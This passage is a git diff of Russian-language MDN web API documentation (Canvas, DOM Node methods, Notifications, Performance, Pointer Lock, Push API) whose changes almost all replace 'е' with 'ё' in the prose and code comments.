        Пример ниже рисует два треугольника, один закрашенный и другой обведён контуром.

        -

        Рассмотрим детальнее метод arc(), который имеет пять параметров: x и y — это координаты центра окружности, в которой должна быть нарисована дуга. radius — не требует пояснений. Углы startAngle и endAngle определяют начальную и конечную точки дуги в радианах вдоль кривой окружности. Отсчет происходит от оси x. Параметр anticlockwise — логическое значение, которое, если true, то рисование дуги совершается против хода часовой стрелки; иначе рисование происходит по ходу часовой стрелки.

        +

        Рассмотрим детальнее метод arc(), который имеет пять параметров: x и y — это координаты центра окружности, в которой должна быть нарисована дуга. radius — не требует пояснений. Углы startAngle и endAngle определяют начальную и конечную точки дуги в радианах вдоль кривой окружности. Отсчёт происходит от оси x. Параметр anticlockwise — логическое значение, которое, если true, то рисование дуги совершается против хода часовой стрелки; иначе рисование происходит по ходу часовой стрелки.

        Note: Углы в функции arc() измеряют в радианах, не в градусах. Для перевода градусов в радианы вы можете использовать JavaScript-выражение: radians = (Math.PI/180)*degrees.

        @@ -263,7 +263,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур

        Координаты x и y  должны быть достаточно ясны. radius and startAngle — фиксированы. endAngle начинается со 180 градусов (полуокружность) в первой колонке и, увеличиваясь с шагом 90 градусов, достигает кульминации полноценной окружностью в последнем столбце.

        -

        Установка параметра clockwise определяет результат; в первой и третьей строках рисование дуг происходит по часовой стрелке, а во второй и четвертой - против часовой стрелки. Благодаря if-условию верхняя половина дуг образуется с контуром, (обводкой), а нижняя половина дуг - с заливкой.

        +

        Установка параметра clockwise определяет результат; в первой и третьей строках рисование дуг происходит по часовой стрелке, а во второй и четвёртой - против часовой стрелки. Благодаря if-условию верхняя половина дуг образуется с контуром, (обводкой), а нижняя половина дуг - с заливкой.

        Note: Этот пример требует немного большего холста (canvas), чем другие на этой странице: 150 x 200 pixels.

        @@ -319,13 +319,13 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур
        Рисуется кубическая кривая Безье с текущей позиции пера в конечную точку с координатами x и y, используя две контрольные точки с координатами (cp1x, cp1y) и (cp2x, cp2y).
        -

        Различие между ними можно увидеть на рисунке, изображенном справа. Квадратичная кривая Безье имеет стартовую и конечную точки (синие точки) и всего одну контрольную точку (красная точка), в то время как кубическая кривая Безье использует две контрольные точки.

        +

        Различие между ними можно увидеть на рисунке, изображённом справа. Квадратичная кривая Безье имеет стартовую и конечную точки (синие точки) и всего одну контрольную точку (красная точка), в то время как кубическая кривая Безье использует две контрольные точки.

        Параметры x и y в этих двух методах являются координатами конечной точки. cp1x и cp1y — координаты первой контрольной точки, а cp2x и cp2y — координаты второй контрольной точки.

        Использование квадратичных или кубических кривых Безье может быть  спорным выходом, так как в отличие от приложений векторной графики типа Adobe Illustrator, мы не имеем полной видимой обратной связи с тем, что мы делаем. Этот факт делает довольно сложным процесс рисования сложных фигур. В следующем примере мы нарисуем совсем простую составную фигуру, но, если у вас есть время и ещё больше терпения, можно создать более сложные составные фигуры.

        -

        В этом примере нет ничего слишком тяжелого. В обоих случаях мы видим последовательность кривых, рисуя которые, в результате получим составную фигуру.

        +

        В этом примере нет ничего слишком тяжёлого. В обоих случаях мы видим последовательность кривых, рисуя которые, в результате получим составную фигуру.

        Квадратичные кривые Безье

        @@ -513,7 +513,7 @@ function roundedRect(ctx,x,y,width,height,radius){

        Мы не будем подробно останавливаться на том, так как это на самом деле удивительно просто. Наиболее важные вещи, которые следует отметить, это использование свойства fillStyle в контексте рисования и использование функции утилиты (в данном случае roundedRect()). Использование функций утилиты для битов чертежа часто может быть очень полезным и сократить количество необходимого кода, а также его сложность.

        -

        Позже, в этом уроке, мы еще раз рассмотрим fillStyle, но более подробно. Здесь же мы используем его для изменения цвета заливки путей вместо цвета по умолчанию от черного до белого, а затем обратно.

        +

        Позже, в этом уроке, мы ещё раз рассмотрим fillStyle, но более подробно. Здесь же мы используем его для изменения цвета заливки путей вместо цвета по умолчанию от чёрного до белого, а затем обратно.

        Path2D объекты

        @@ -522,7 +522,7 @@ function roundedRect(ctx,x,y,width,height,radius){
        {{domxref("Path2D.Path2D", "Path2D()")}}
        -
        Конструктор Path2D() возвращает вновь созданный объект Path2D  необязательно с другим путем в качестве аргумента (создает копию) или необязательно со строкой, состоящей из данных пути SVG path .
        +
        Конструктор Path2D() возвращает вновь созданный объект Path2D  необязательно с другим путём в качестве аргумента (создаёт копию) или необязательно со строкой, состоящей из данных пути SVG path .
        new Path2D();     // пустой path объект
        @@ -540,7 +540,7 @@ new Path2D(d);    // path из SVG

        Path2D пример

        -

        В этом примере мы создаем прямоугольник и круг. Оба они сохраняются как объект Path2D, поэтому они доступны для последующего использования. С новым API Path2D несколько методов были обновлены, чтобы при необходимости принять объект Path2D для использования вместо текущего пути. Здесь stroke и fill используются с аргументом пути, например, для рисования обоих объектов на холст.

        +

        В этом примере мы создаём прямоугольник и круг. Оба они сохраняются как объект Path2D, поэтому они доступны для последующего использования. С новым API Path2D несколько методов были обновлены, чтобы при необходимости принять объект Path2D для использования вместо текущего пути. Здесь stroke и fill используются с аргументом пути, например, для рисования обоих объектов на холст.

    path
    @@ -54,7 +54,7 @@ ctx.rect(10, 10, 100, 100); ctx.fill();
    -

    Отредактируйте приведенный ниже код и посмотрите, как обновляется ваше обновление на холсте:

    +

    Отредактируйте приведённый ниже код и посмотрите, как обновляется ваше обновление на холсте:

    -

    Свойство Node.prefix только для чтения, возвращающее префикс пространства имен указанного узла или null, если не указан префикс. Это свойство только для чтения.

    +

    Свойство Node.prefix только для чтения, возвращающее префикс пространства имён указанного узла или null, если не указан префикс. Это свойство только для чтения.

    Синтаксис

    diff --git a/files/ru/web/api/node/removechild/index.html b/files/ru/web/api/node/removechild/index.html index 738dadbaa6..0666aa815c 100644 --- a/files/ru/web/api/node/removechild/index.html +++ b/files/ru/web/api/node/removechild/index.html @@ -12,7 +12,7 @@ translation_of: Web/API/Node/removeChild

    Аннотация

    -

    Удаляет дочерний элемент из DOM. Возвращает удаленный элемент.

    +

    Удаляет дочерний элемент из DOM. Возвращает удалённый элемент.

    Синтаксис

    @@ -21,14 +21,14 @@ translation_of: Web/API/Node/removeChild
      -
    • child дочерний элемент который будет удален из DOM.
    • +
    • child дочерний элемент который будет удалён из DOM.
    • element родительский элемент удаляемого child.
    • oldChild ссылка на удаляемый дочерний элемент. oldChild === child.
    -

    Удаленный дочерний элемент остается в памяти, но больше не является частью DOM. Вы можете повторно использовать удаленный элемент с помощью ссылки на объект - oldChild.

    +

    Удалённый дочерний элемент остаётся в памяти, но больше не является частью DOM. Вы можете повторно использовать удалённый элемент с помощью ссылки на объект - oldChild.

    -

    Если child не является дочерним элементом element, тогда метод генерирует исключение. Также это происходит если child является дочерним элементом element во время вызова метода, но был удален во время вызова обработчика событий удаляющего элемент(т.e при удалении элемента непосредственно перед вызовом обработчика событий).

    +

    Если child не является дочерним элементом element, тогда метод генерирует исключение. Также это происходит если child является дочерним элементом element во время вызова метода, но был удалён во время вызова обработчика событий удаляющего элемент(т.e при удалении элемента непосредственно перед вызовом обработчика событий).

    Пример

    diff --git a/files/ru/web/api/node/replacechild/index.html b/files/ru/web/api/node/replacechild/index.html index c1959cc322..ae9a375735 100644 --- a/files/ru/web/api/node/replacechild/index.html +++ b/files/ru/web/api/node/replacechild/index.html @@ -14,34 +14,34 @@ original_slug: Web/API/Node.replaceChild
    {{ApiRef}}

    Аннотация

    -

    Заменяет дочерний элемент на выбранный. Возвращает замененный элемент.

    +

    Заменяет дочерний элемент на выбранный. Возвращает заменённый элемент.

    Синтаксис

    replacedNode = parentNode.replaceChild(newChild, oldChild);
     
      -
    • newChild элемент на который будет заменен oldChild. В случает если он уже есть в DOM, то сначала он будет удален.
    • +
    • newChild элемент на который будет заменён oldChild. В случает если он уже есть в DOM, то сначала он будет удален.
    • oldChild элемент который будет заменен.
    • -
    • replacedNode замененный элемент. Тоже самое что и oldChild.
    • +
    • replacedNode заменённый элемент. Тоже самое что и oldChild.

    Пример

    // <div>
     //  <span id="childSpan">foo bar</span>
     // </div>
     
    -// Создаем новый пустой элемент
    +// Создаём новый пустой элемент
     // without an ID, any attributes, or any content
     var sp1 = document.createElement("span");
     
     // Присваиваем ему id 'newSpan'
     sp1.setAttribute("id", "newSpan");
     
    -// Создаем строку.
    +// Создаём строку.
     var sp1_content = document.createTextNode("new replacement span element.");
     
     // Добавляем контент в созданный нами узел
     sp1.appendChild(sp1_content);
     
    -// создаем ссылку на существующий элемент который будем заменять
    +// создаём ссылку на существующий элемент который будем заменять
     var sp2 = document.getElementById("childSpan");
     var parentDiv = sp2.parentNode;
     
    diff --git a/files/ru/web/api/node/textcontent/index.html b/files/ru/web/api/node/textcontent/index.html
    index 479fae01e3..7ee831edaf 100644
    --- a/files/ru/web/api/node/textcontent/index.html
    +++ b/files/ru/web/api/node/textcontent/index.html
    @@ -33,7 +33,7 @@ element.textContent = "Это просто текст";
     
     

    Отличие от innerText

    -

    element.innerText был введен Internet Explorer-ом. Работает по тому же принципу за небольшими исключениями:

    +

    element.innerText был введён Internet Explorer-ом. Работает по тому же принципу за небольшими исключениями:

    • textContent получает содержимое всех элементов, включая  {{HTMLElement("script")}} и {{HTMLElement("style")}}, тогда как innerText этого не делает.
    • @@ -50,7 +50,7 @@ element.textContent = "Это просто текст";
      // Дан следующий фрагмент:
       //   <div id="block">Это — <span>просто</span> текст</div>
       
      -// Достаем текстовое содержимое:
      +// Достаём текстовое содержимое:
       var text = document.getElementById("block").textContent;
       // В переменной |text| находится: "Это — просто текст".
       
      diff --git a/files/ru/web/api/nodelist/index.html b/files/ru/web/api/nodelist/index.html
      index 1e3bf20fff..d102e8c70e 100644
      --- a/files/ru/web/api/nodelist/index.html
      +++ b/files/ru/web/api/nodelist/index.html
      @@ -15,7 +15,7 @@ translation_of: Web/API/NodeList
       

      Несмотря на то, что NodeList не является массивом ( Array ), его вполне возможно перебрать при помощи метода forEach(). NodeList также можно конвертировать в Array при помощи {{jsxref("Array.from()")}}

      -

      Однако некоторые старые браузеры на данный момент все еще не поддерживают NodeList.forEach() или Array.from(). Данные ограничения можно обойти, используя {{jsxref("Array.forEach()", "Array.prototype.forEach()")}} ( больше информации на этой странице ).

      +

      Однако некоторые старые браузеры на данный момент все ещё не поддерживают NodeList.forEach() или Array.from(). Данные ограничения можно обойти, используя {{jsxref("Array.forEach()", "Array.prototype.forEach()")}} ( больше информации на этой странице ).

      Свойства

      diff --git a/files/ru/web/api/notification/index.html b/files/ru/web/api/notification/index.html index 0ba6b0d4d1..2f520242d4 100644 --- a/files/ru/web/api/notification/index.html +++ b/files/ru/web/api/notification/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/Notification
      {{domxref("Notification.Notification", "Notification()")}}
      -
      Создает новый экземпляр объекта Notification.
      +
      Создаёт новый экземпляр объекта Notification.

      Свойства

      @@ -79,7 +79,7 @@ translation_of: Web/API/Notification
      {{domxref("Notification.title")}} {{readonlyinline}}
      Заголовок уведомления, указывается в опциях как параметр конструктора.
      {{domxref("Notification.vibrate")}} {{readonlyinline}}
      -
      Задает шаблон вибрации для устройств с вибро.
      +
      Задаёт шаблон вибрации для устройств с вибро.

      Не поддерживаемые свойства

      @@ -106,7 +106,7 @@ translation_of: Web/API/Notification

      Устаревшие обработчики событий

      -

      Следующие обработчики событий все еще поддерживаются, как указано в разделе {{anch("browser compatibility")}} ниже, но более не входят в актуальную спецификацию. Небезосновательно можно предположить, что они устарели и могут перестать работать в будущих версиях браузеров.

      +

      Следующие обработчики событий все ещё поддерживаются, как указано в разделе {{anch("browser compatibility")}} ниже, но более не входят в актуальную спецификацию. Небезосновательно можно предположить, что они устарели и могут перестать работать в будущих версиях браузеров.

      {{domxref("Notification.onclose")}}
      @@ -153,21 +153,21 @@ translation_of: Web/API/Notification // Проверка разрешения на отправку уведомлений else if (Notification.permission === "granted") { - // Если разрешено, то создаем уведомление + // Если разрешено, то создаём уведомление var notification = new Notification("Hi there!"); } // В противном случае, запрашиваем разрешение else if (Notification.permission !== 'denied') { Notification.requestPermission(function (permission) { - // Если пользователь разрешил, то создаем уведомление + // Если пользователь разрешил, то создаём уведомление if (permission === "granted") { var notification = new Notification("Hi there!"); } }); } - // В конечном счете, если пользователь отказался от получения + // В конечном счёте, если пользователь отказался от получения // уведомлений, то стоит уважать его выбор и не беспокоить его   // по этому поводу. }
      @@ -180,7 +180,7 @@ translation_of: Web/API/Notification console.log(result); });
    -

    Затем мы запускаем простую функцию spawnNotification(), когда мы хотим вывести уведомление, передающую аргументы для указания тела, иконки и заголовка, которые нам нужны, а затем она создает необходимый объект параметров options и запускает уведомление с помощью конструктора  {{domxref("Notification.Notification","Notification()")}}.

    +

    Затем мы запускаем простую функцию spawnNotification(), когда мы хотим вывести уведомление, передающую аргументы для указания тела, иконки и заголовка, которые нам нужны, а затем она создаёт необходимый объект параметров options и запускает уведомление с помощью конструктора  {{domxref("Notification.Notification","Notification()")}}.

    function spawnNotification(body, icon, title) {
       var options = {
    diff --git a/files/ru/web/api/notifications_api/index.html b/files/ru/web/api/notifications_api/index.html
    index 5641358a8a..8fdc6b6de0 100644
    --- a/files/ru/web/api/notifications_api/index.html
    +++ b/files/ru/web/api/notifications_api/index.html
    @@ -5,7 +5,7 @@ translation_of: Web/API/Notifications_API
     ---
     

    {{DefaultAPISidebar("Web Notifications")}}

    -

    Notifications API позволяют web-страницам контролировать отображение системных уведомлений для конечного пользователя — они находятся вне контекста окна браузера верхнего уровня, поэтому могут отображаться даже если пользователь сменил вкладку или перешел к другому приложению. API были разработаны таким образом, чтобы поддерживать совместимость с существующими системами уведомлений на различных платформах.

    +

    Notifications API позволяют web-страницам контролировать отображение системных уведомлений для конечного пользователя — они находятся вне контекста окна браузера верхнего уровня, поэтому могут отображаться даже если пользователь сменил вкладку или перешёл к другому приложению. API были разработаны таким образом, чтобы поддерживать совместимость с существующими системами уведомлений на различных платформах.

    Концепция и использование

    @@ -19,7 +19,7 @@ translation_of: Web/API/Notifications_API

    Заметка: Для Firefox 44, разрешения для Notifications и Push объединяются. Если было установлено разрешение для уведомлений, push так же будут разрешены .

    -

    Затем создается новое уведомление с помощью конструктора  {{domxref("Notification.Notification","Notification()")}}. В функцию должен быть передан аргумент заголовка и, по желанию, объект настроек, чтобы определить опции, такие как направление и тело текста, иконка, звук уведомления и т.д.

    +

    Затем создаётся новое уведомление с помощью конструктора  {{domxref("Notification.Notification","Notification()")}}. В функцию должен быть передан аргумент заголовка и, по желанию, объект настроек, чтобы определить опции, такие как направление и тело текста, иконка, звук уведомления и т.д.

    {{AvailableInWorkers}}

    diff --git a/files/ru/web/api/page_visibility_api/index.html b/files/ru/web/api/page_visibility_api/index.html index 7cfb82fdba..3ac365ba5d 100644 --- a/files/ru/web/api/page_visibility_api/index.html +++ b/files/ru/web/api/page_visibility_api/index.html @@ -27,9 +27,9 @@ original_slug: Web/API/Видимость_страницы_API

    Давайте рассмотрим несколько способов использования Page Visibility API.

      -
    • На сайте есть слайдер изображений с автопрокруткой, которую можно поставить на паузу, когда пользователь перешел на другую вкладку
    • +
    • На сайте есть слайдер изображений с автопрокруткой, которую можно поставить на паузу, когда пользователь перешёл на другую вкладку
    • Приложение выводит информацию в реальном времени, которую можно не обновлять, пока страница не видна, тем самым уменьшить количество запросов на сервер
    • -
    • Странице нужно понять, когда она должна быть отрисована, так что можно вести точный подсчет количества просмотров
    • +
    • Странице нужно понять, когда она должна быть отрисована, так что можно вести точный подсчёт количества просмотров
    • Сайту нужно выключить звук, когда устройство в режиме ожидания (пользователь нажал кнопку включения, чтобы погасить экран)
    diff --git a/files/ru/web/api/pannernode/index.html b/files/ru/web/api/pannernode/index.html index c8076f49df..a10a3c1eb4 100644 --- a/files/ru/web/api/pannernode/index.html +++ b/files/ru/web/api/pannernode/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/PannerNode
    PannerNode всегда имеет только один вход и один выход: вход может быть моно или стерео, но выход всегда стерео (2 канала); нельзя получить эффекты панорамирования при отсутствии, как минимум двух аудиоканалов!
    -

    PannerNode задает положение в пространстве, скорость распространения и направленность данного сигнала.

    +

    PannerNode задаёт положение в пространстве, скорость распространения и направленность данного сигнала.

    @@ -28,7 +28,7 @@ translation_of: Web/API/PannerNode - + @@ -50,7 +50,7 @@ translation_of: Web/API/PannerNode
    -
    Создает новый экземпляр PannerNode.
    +
    Создаёт новый экземпляр PannerNode.
    @@ -73,7 +73,7 @@ translation_of: Web/API/PannerNode
    {{domxref("PannerNode.coneOuterAngle")}}
    Это значение типа double, представляющее угол конуса (в градусах), вне которого громкость звука будет уменьшена на постоянное значение, определяемое атрибутом coneOuterGain.
    {{domxref("PannerNode.coneOuterGain")}}
    -
    Это значение типа double, представляющее величину снижения уровня громкости вне конуса, определенного атрибутом coneOuterAngle. Значение по умолчанию равно 0, то есть, вне конуса звук не будет слышен.
    +
    Это значение типа double, представляющее величину снижения уровня громкости вне конуса, определённого атрибутом coneOuterAngle. Значение по умолчанию равно 0, то есть, вне конуса звук не будет слышен.
    {{domxref("PannerNode.distanceModel")}}
    Перечислимое значение, определяющее, какой алгоритм будет использован для уменьшения громкости источника звука при удалении его от слушателя.
    {{domxref("PannerNode.maxDistance")}}
    @@ -83,15 +83,15 @@ translation_of: Web/API/PannerNode
    {{domxref("PannerNode.orientationY")}}
    Представляет вертикальное положение вектора источника звука в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.
    {{domxref("PannerNode.orientationZ")}}
    -
    Представляет продольную (вперед - назад) позицию вектора распространения звука от источника в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.
    +
    Представляет продольную (вперёд - назад) позицию вектора распространения звука от источника в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.
    {{domxref("PannerNode.panningModel")}}
    -
    Перечислимое значение, определяющее какой алгоритм пространственной обработки используется для размещения источника звука в трехмерном пространстве.
    +
    Перечислимое значение, определяющее какой алгоритм пространственной обработки используется для размещения источника звука в трёхмерном пространстве.
    {{domxref("PannerNode.positionX")}}
    Представляет горизонтальное положение источника звука в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.
    {{domxref("PannerNode.positionY")}}
    Представляет вертикальное положение источника звука в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.
    {{domxref("PannerNode.positionZ")}}
    -
    Представляет позицию источника звука вдоль оси Z (вперед и назад) в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.
    +
    Представляет позицию источника звука вдоль оси Z (вперёд и назад) в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.
    {{domxref("PannerNode.refDistance")}}
    Значение типа double, представляющее справочное (опорное) расстояние для уменьшения громкости при удалении источника звука от слушателя.
    {{domxref("PannerNode.rolloffFactor")}}
    @@ -119,7 +119,7 @@ translation_of: Web/API/PannerNode
    {{domxref("PannerNode.setVelocity()")}} {{obsolete_inline}}
    Это устаревший элемент API и его работа в дальнейшем не гарантируется.
    - Определяет вектор распространения звука от источника - как быстро он движется и в каком направлении. В предыдущей версии спецификации, {{domxref("PannerNode")}} имел скорость распространения, которую можно было выдать выше или ниже подключенного потока {{domxref("AudioBufferSourceNode")}}. Эта функция не была четко оговорена и имела ряд проблем, поэтому была удалена из спецификации.
    + Определяет вектор распространения звука от источника - как быстро он движется и в каком направлении. В предыдущей версии спецификации, {{domxref("PannerNode")}} имел скорость распространения, которую можно было выдать выше или ниже подключённого потока {{domxref("AudioBufferSourceNode")}}. Эта функция не была чётко оговорена и имела ряд проблем, поэтому была удалена из спецификации.

    Примеры

    diff --git a/files/ru/web/api/parentnode/prepend/index.html b/files/ru/web/api/parentnode/prepend/index.html index 709a620f85..40017ad44f 100644 --- a/files/ru/web/api/parentnode/prepend/index.html +++ b/files/ru/web/api/parentnode/prepend/index.html @@ -16,7 +16,7 @@ translation_of: Web/API/ParentNode/prepend
    nodesToPrepend
    -
    Один или болле узлов, которые вставляются перед первым дочерним узлом в  ParentNode. Каждый узел может быть определен либо как {{domxref("Node")}} - объект, либо как строка; строки вставляются как новые узлы типа {{domxref("Text")}}.
    +
    Один или болле узлов, которые вставляются перед первым дочерним узлом в  ParentNode. Каждый узел может быть определён либо как {{domxref("Node")}} - объект, либо как строка; строки вставляются как новые узлы типа {{domxref("Text")}}.

    Возвращаемое значение

    diff --git a/files/ru/web/api/performance/index.html b/files/ru/web/api/performance/index.html index b8c2735644..bc721672b6 100644 --- a/files/ru/web/api/performance/index.html +++ b/files/ru/web/api/performance/index.html @@ -16,7 +16,7 @@ translation_of: Web/API/Performance

    Объект этого типа может быть получен в результате вызова атрибута {{domxref("Window.performance")}}, доступного только для чтения.

    -

    Замечание: Этот интерфейс и его составляющие доступны в фоновых потоках выполнения, за исключением случаев, перечисленных ниже. Заметим, что некоторые доступные части интерфейса еще не документированы (подробнее см. разделы документации Performance Timeline и User Timing). Также заметим, что временные метки производительности относятся к текущему контексту. Если Вы создадите метку в основном потоке (или в другом фоновом потоке), то ее нельзя будет увидеть в другом фоновом потоке и наоборот.

    +

    Замечание: Этот интерфейс и его составляющие доступны в фоновых потоках выполнения, за исключением случаев, перечисленных ниже. Заметим, что некоторые доступные части интерфейса ещё не документированы (подробнее см. разделы документации Performance Timeline и User Timing). Также заметим, что временные метки производительности относятся к текущему контексту. Если Вы создадите метку в основном потоке (или в другом фоновом потоке), то её нельзя будет увидеть в другом фоновом потоке и наоборот.

    Свойства

    @@ -56,9 +56,9 @@ translation_of: Web/API/Performance
    {{domxref("Performance.getEntriesByType()")}}
    Возвращает список объектов {{domxref("PerformanceEntry")}} переданного, как аргумент, типа записи.
    {{domxref("Performance.mark()")}}
    -
    Создает {{domxref("DOMHighResTimeStamp","временну́ю метку")}} с заданным именем в буфере записей производительности.
    +
    Создаёт {{domxref("DOMHighResTimeStamp","временну́ю метку")}} с заданным именем в буфере записей производительности.
    {{domxref("Performance.measure()")}}
    -
    Создает именованную {{domxref("DOMHighResTimeStamp","временну́ю метку")}} в буфере записей производительности браузера между двумя определенными метками (известных как start mark (начальная метка) и end mark (конечная метка), соответственно).
    +
    Создаёт именованную {{domxref("DOMHighResTimeStamp","временну́ю метку")}} в буфере записей производительности браузера между двумя определёнными метками (известных как start mark (начальная метка) и end mark (конечная метка), соответственно).
    {{domxref("Performance.now()")}}
    Возвращает объект {{domxref("DOMHighResTimeStamp")}}, представляющий количество миллисекунд, прошедших с начала момента отсчета.
    {{domxref("Performance.setResourceTimingBufferSize()")}}
    diff --git a/files/ru/web/api/performance/now/index.html b/files/ru/web/api/performance/now/index.html index bf7359c969..3c0ae8630b 100644 --- a/files/ru/web/api/performance/now/index.html +++ b/files/ru/web/api/performance/now/index.html @@ -33,7 +33,7 @@ var t1 = performance.now(); console.log("Call to doSomething took " + (t1 - t0) + " milliseconds.") -

    В отличие от других временны́х типов данных, доступных в JavaScript (таких как Date.now), метки времени, возвращенные из performance.now(), не ограничены кратностью в одну миллисекунду, а представляют значение времени как число с плавающей запятой, с точностью до микросекунд.

    +

    В отличие от других временны́х типов данных, доступных в JavaScript (таких как Date.now), метки времени, возвращённые из performance.now(), не ограничены кратностью в одну миллисекунду, а представляют значение времени как число с плавающей запятой, с точностью до микросекунд.

    Также, в противоположность Date.now, значение, возвращаемое из performance.now(), всегда возрастает с постоянной скоростью, независимо от системного времени (которое может быть установлено вручную или изменено программами наподобие NTP).

    diff --git a/files/ru/web/api/pointer_lock_api/index.html b/files/ru/web/api/pointer_lock_api/index.html index f02441f710..380e2b0888 100644 --- a/files/ru/web/api/pointer_lock_api/index.html +++ b/files/ru/web/api/pointer_lock_api/index.html @@ -3,11 +3,11 @@ title: Pointer Lock API slug: Web/API/Pointer_Lock_API translation_of: Web/API/Pointer_Lock_API --- -

    Pointer lock API(прежнее название Mouse Lock API) обеспечивает методы ввода, основанные на движении мыши , а не только абсолютно позиционированых координатах курсора в окне. Это дает вам доступ к необработанным движениям мыши, прикрепляет курсор мыши к любому элементу в окне браузера, предоставляет возможность вычислять координаты мыши не ограниченной областью окна проекции, и скрывает курсор из поля зрения. Это идеальное решение для 3D игр, например.

    +

    Pointer lock API(прежнее название Mouse Lock API) обеспечивает методы ввода, основанные на движении мыши , а не только абсолютно позиционированых координатах курсора в окне. Это даёт вам доступ к необработанным движениям мыши, прикрепляет курсор мыши к любому элементу в окне браузера, предоставляет возможность вычислять координаты мыши не ограниченной областью окна проекции, и скрывает курсор из поля зрения. Это идеальное решение для 3D игр, например.

    Более того, API полезно для любых приложений, которые используют данные мыши для управления движениями, вращения объектов и изменения записей. Например пользователь может управлять наклоном просто двигая мышь, не нажимая ни на какие кнопки. Сами кнопки освобождаются под другие задачи. Примерами могут послужить  программы для просмотра карт или спутниковой съемки.

    -

    Блокировка указателя позволяет вам получить доступ к данным мыши, даже если курсор ушел за границы экрана или браузера. Например, ваши пользователи могут продолжать вращать или управлять 3D моделью движением мыши бесконечно. Без блокировки вращение или управление останавливается, как только курсор достигает края браузера или экрана. Геймеры теперь могут нажимать кнопки и водить курсором взад и вперед, не боясь покинуть игровое поле и случайно переключится на другое приложение.

    +

    Блокировка указателя позволяет вам получить доступ к данным мыши, даже если курсор ушёл за границы экрана или браузера. Например, ваши пользователи могут продолжать вращать или управлять 3D моделью движением мыши бесконечно. Без блокировки вращение или управление останавливается, как только курсор достигает края браузера или экрана. Геймеры теперь могут нажимать кнопки и водить курсором взад и вперёд, не боясь покинуть игровое поле и случайно переключится на другое приложение.

    Основные концепции

    diff --git a/files/ru/web/api/positionoptions/index.html b/files/ru/web/api/positionoptions/index.html index 9f0fb0b77d..e9d175035c 100644 --- a/files/ru/web/api/positionoptions/index.html +++ b/files/ru/web/api/positionoptions/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/PositionOptions
    {{domxref("PositionOptions.enableHighAccuracy")}}
    -
    {{domxref("Boolean")}} сообщает приложению, что нужно получить максимально уточненный результат. Если true и устройство поддерживает расширенный поиск локации, то он будет осуществлен. Нужно учитывать, что это может привести к замедлению времени отклика или увеличению потребляемых ресурсов (например расширенному использованию GPS на мобильных устройствах). Если false, устройство будет искать максимально быстро и экономично, что уменьшает точность. По умолчанию: false.
    +
    {{domxref("Boolean")}} сообщает приложению, что нужно получить максимально уточнённый результат. Если true и устройство поддерживает расширенный поиск локации, то он будет осуществлён. Нужно учитывать, что это может привести к замедлению времени отклика или увеличению потребляемых ресурсов (например расширенному использованию GPS на мобильных устройствах). Если false, устройство будет искать максимально быстро и экономично, что уменьшает точность. По умолчанию: false.
    {{domxref("PositionOptions.timeout")}}
    Положительное число в миллисекундах, устанавливающее время, за которое устройство должно вернуть результат. По умолчанию это значение Infinity, что значит, getCurrentPosition() будет работать до тех пор пока не определит положение устройства.
    {{domxref("PositionOptions.maximumAge")}}
    diff --git a/files/ru/web/api/push_api/index.html b/files/ru/web/api/push_api/index.html index 138ca1fb86..7fbf680b2b 100644 --- a/files/ru/web/api/push_api/index.html +++ b/files/ru/web/api/push_api/index.html @@ -10,7 +10,7 @@ translation_of: Web/API/Push_API ---

    {{DefaultAPISidebar("Push API")}}{{SeeCompatTable}}

    -

    Push API дает веб приложениям возможность получать сообщения отправленные с сервера, независимо от того, запущено ли веб приложение в фоне или даже загружено ли оно вообще пользователем. Это позволяет разработчикам посылать асинхронные сообщения и обновления пользователям которые подписались на них, как результат улучшается информированность пользователей о новом контенте

    +

    Push API даёт веб приложениям возможность получать сообщения отправленные с сервера, независимо от того, запущено ли веб приложение в фоне или даже загружено ли оно вообще пользователем. Это позволяет разработчикам посылать асинхронные сообщения и обновления пользователям которые подписались на них, как результат улучшается информированность пользователей о новом контенте

    Примечание: Эта документация охватывает спецификацию W3C Push API ; если вы ищете документацию по запатентованной технологии Firefox OS , смотрите здесь.

    @@ -38,10 +38,10 @@ translation_of: Web/API/Push_API

    Каждая подписка уникальна по отношению к service worker. Адрес для подписки это уникальный capability URL: все что нужно чтобы отослать сообщение вашему приложению это адрес. Однако это URL необходимо держать в секрете, иначе любое другое приложение сможет слать push уведомление к вашему приложению.

    -

    Использование service worker для получения push уведомлений может привести к повышенному потреблению ресурсов, например это может влиять на расход батареи. Во всех браузерах это работает по разному - нет стандарта на этот счет. К примеру Firefox позволяет лишь ограниченное число уведомлений которое может быть отправлено приложению, а Chrome не имеет таких ограничений, однако обязывает показывать уведомление пользователю каждый раз, чтобы пользователь мог решить хочет он или нет принимать их дальше.

    +

